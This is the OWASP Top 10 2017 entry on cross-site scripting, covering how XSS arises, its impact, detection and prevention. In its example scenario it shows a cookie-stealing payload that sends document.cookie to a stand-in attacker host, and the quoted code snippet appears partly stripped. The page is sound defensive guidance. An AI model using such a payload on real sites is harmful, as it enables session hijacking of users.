Top 10-2017 A7-Cross-Site Scripting (XSS)

 Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.  Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.

 XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are two different types of XSS flaws: 1) Stored and 2)  Reflected, and each of these can occur on the a)  Server  or b) on the  Client.

Detection of most Server XSS flaws is fairly easy via testing or code analysis. Client XSS is very difficult to identify.  Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.

Consider the business value of the affected system and all the data it processes. Also consider the business impact of public exposure of the vulnerability.

You are vulnerable if you do not ensure that all user supplied input is properly escaped, or you do not verify it to be safe via server-side input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using safe JavaScript APIs? For unsafe JavaScript APIs, encoding or validation must also be used.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making automated detection difficult. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.

Web 2.0 technologies, such as Ajax, make XSS much more difficult to detect via automated tools.

Preventing XSS requires separation of untrusted data from active browser content.
 * 1) The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the  OWASP XSS Prevention Cheat Sheet for details on the required data escaping techniques.
 * 2) Positive or “whitelist” server-side input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
 * 3) For rich content, consider auto-sanitization libraries like OWASP’s AntiSamy or the  Java HTML Sanitizer Project.
 * 4) Consider Content Security Policy (CSP) to defend against XSS across your entire site.

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "";

The attacker modifies the 'CC' parameter in their browser to:

'> document.location= ' h ttp://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie '.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A8 for info on CSRF.

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 * Types of Cross-Site Scripting
 * [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet
 * OWASP DOM based XSS Prevention Cheat Sheet
 * OWASP Cross-Site Scripting Article
 * ESAPI Encoder API
 * ASVS: Output Encoding/Escaping Requirements (V6)
 * OWASP AntiSamy: Sanitization Library
 * Testing Guide: 1st 3 Chapters on Data Validation Testing
 * OWASP Code Review Guide: Chapter on XSS Review
 * OWASP XSS Filter Evasion Cheat Sheet


 * CWE Entry 79 on Cross-Site Scripting